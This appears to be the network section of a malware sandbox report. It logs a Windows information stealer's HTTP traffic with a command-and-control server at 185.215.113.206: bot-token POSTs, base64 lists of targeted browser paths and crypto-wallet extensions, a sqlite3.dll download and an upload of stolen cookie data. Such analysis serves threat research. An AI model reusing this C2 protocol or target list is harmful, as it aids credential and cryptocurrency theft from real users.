49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 17, 2024 10:09:01.755284071 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Dec 17, 2024 10:09:01.756870985 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIIJJJDGCBAAKFIIECG Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 63 34 62 38 39 39 36 33 34 62 64 37 34 64 62 39 31 37 66 31 65 63 33 61 39 64 31 64 39 66 33 37 37 64 30 36 31 65 39 39 37 61 37 63 61 63 34 62 65 32 37 61 64 64 65 37 37 62 36 66 31 65 38 32 66 32 65 32 66 64 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 2d 2d 0d 0a Data Ascii: ------KFIIJJJDGCBAAKFIIECGContent-Disposition: form-data; name="token"8c4b899634bd74db917f1ec3a9d1d9f377d061e997a7cac4be27adde77b6f1e82f2e2fd2------KFIIJJJDGCBAAKFIIECGContent-Disposition: form-data; name="message"plugins------KFIIJJJDGCBAAKFIIECG--
Dec 17, 2024 10:09:02.196537971 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:09:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 17, 2024 10:09:02.196573973 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Dec 17, 2024 10:09:02.196589947 CET	248	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Dec 17, 2024 10:09:02.196602106 CET	1236	IN	Data Raw: 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d 4e 74 62 6d 74 69 5a 32 35 38 4d 58 77 77 66 44 42 38 56 47 56 36 51 6d Data Ascii: YW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZ
Dec 17, 2024 10:09:02.196616888 CET	1236	IN	Data Raw: 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 46 73 62 47 56 30 66 47 46 70 61 6d 4e 69 5a 57 52 76 61 57 70 74 5a 32 Data Ascii: bmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGh
Dec 17, 2024 10:09:02.196633101 CET	1236	IN	Data Raw: 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 4a 73 61 33 Data Ascii: Y2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWl
Dec 17, 2024 10:09:02.196650028 CET	916	IN	Data Raw: 62 57 70 74 61 32 4e 68 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 52 38 62 32 4e 71 5a 48 42 74 62 32 46 73 62 47 31 6e 62 57 70 69 59 6d Data Ascii: bWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWp
Dec 17, 2024 10:09:02.198561907 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDHJEBFBFHJECAKFCAA Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 63 34 62 38 39 39 36 33 34 62 64 37 34 64 62 39 31 37 66 31 65 63 33 61 39 64 31 64 39 66 33 37 37 64 30 36 31 65 39 39 37 61 37 63 61 63 34 62 65 32 37 61 64 64 65 37 37 62 36 66 31 65 38 32 66 32 65 32 66 64 32 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 2d 2d 0d 0a Data Ascii: ------GHDHJEBFBFHJECAKFCAAContent-Disposition: form-data; name="token"8c4b899634bd74db917f1ec3a9d1d9f377d061e997a7cac4be27adde77b6f1e82f2e2fd2------GHDHJEBFBFHJECAKFCAAContent-Disposition: form-data; name="message"fplugins------GHDHJEBFBFHJECAKFCAA--
Dec 17, 2024 10:09:02.645286083 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:09:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 17, 2024 10:09:02.743187904 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIJJKKFHIEHJKECGCGC Host: 185.215.113.206 Content-Length: 7267 Connection: Keep-Alive Cache-Control: no-cache
Dec 17, 2024 10:09:02.743231058 CET	7267	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 45 43 47 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 63 34 62 38 39 Data Ascii: ------FIIJJKKFHIEHJKECGCGCContent-Disposition: form-data; name="token"8c4b899634bd74db917f1ec3a9d1d9f377d061e997a7cac4be27adde77b6f1e82f2e2fd2------FIIJJKKFHIEHJKECGCGCContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 17, 2024 10:09:03.809566975 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:09:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 17, 2024 10:09:04.551304102 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 17, 2024 10:09:04.988635063 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:09:04 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Dec 17, 2024 10:09:04.988693953 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Dec 17, 2024 10:09:04.992636919 CET	248	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49868	185.215.113.206	80	5588	C:\Users\user\AppData\Local\Temp\5XYR1IZSU740RQ8S.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 10:09:14.411046982 CET	621	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCBAFCFIJJJECBGIIJK Host: 185.215.113.206 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 63 34 62 38 39 39 36 33 34 62 64 37 34 64 62 39 31 37 66 31 65 63 33 61 39 64 31 64 39 66 33 37 37 64 30 36 31 65 39 39 37 61 37 63 61 63 34 62 65 32 37 61 64 64 65 37 37 62 36 66 31 65 38 32 66 32 65 32 66 64 32 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="token"8c4b899634bd74db917f1ec3a9d1d9f377d061e997a7cac4be27adde77b6f1e82f2e2fd2------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------EGCBAFCFIJJJECBGIIJK--

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49713	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-17 09:08:22 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 52 61 66 66 58 69 75 56 58 45 43 63 33 70 65 31 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 38 65 61 38 30 35 64 32 34 61 61 38 66 35 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: RaffXiuVXECc3pe1.1Context: 58ea805d24aa8f52
2024-12-17 09:08:22 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-17 09:08:22 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 52 61 66 66 58 69 75 56 58 45 43 63 33 70 65 31 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 38 65 61 38 30 35 64 32 34 61 61 38 66 35 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 77 52 32 63 46 6a 78 6d 57 46 71 6a 6a 47 59 68 6e 59 68 4d 6c 65 47 62 4a 7a 4b 32 6f 43 55 4a 4f 51 64 56 5a 65 6b 53 34 6c 76 48 61 51 30 66 51 61 50 63 5a 55 78 37 65 4a 53 6d 77 46 65 69 4e 65 52 53 69 76 38 4d 77 56 4d 38 64 63 54 39 41 34 4e 72 6c 43 38 45 75 72 52 32 64 4c 42 59 53 72 67 53 51 6c 5a 6c 45 79 7a 6f Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: RaffXiuVXECc3pe1.2Context: 58ea805d24aa8f52<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAfwR2cFjxmWFqjjGYhnYhMleGbJzK2oCUJOQdVZekS4lvHaQ0fQaPcZUx7eJSmwFeiNeRSiv8MwVM8dcT9A4NrlC8EurR2dLBYSrgSQlZlEyzo
2024-12-17 09:08:22 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 52 61 66 66 58 69 75 56 58 45 43 63 33 70 65 31 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 38 65 61 38 30 35 64 32 34 61 61 38 66 35 32 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 